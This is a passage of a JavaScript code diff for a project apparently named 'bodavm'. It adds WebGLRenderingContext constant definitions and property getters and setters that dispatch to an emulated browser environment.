"TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 10497 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + configurable: false, + enumerable: true, + writable: false, + value: 34338 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34339 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferWidth", { + configurable: true, + enumerable: true, + get: function drawingBufferWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferHeight", { + configurable: true, + enumerable: true, + get: function drawingBufferHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferColorSpace", { + configurable: true, + enumerable: true, + get: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_get", arguments); + }, + set: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "unpackColorSpace", { + configurable: true, + enumerable: true, + get: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_get", arguments); + }, + set: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + 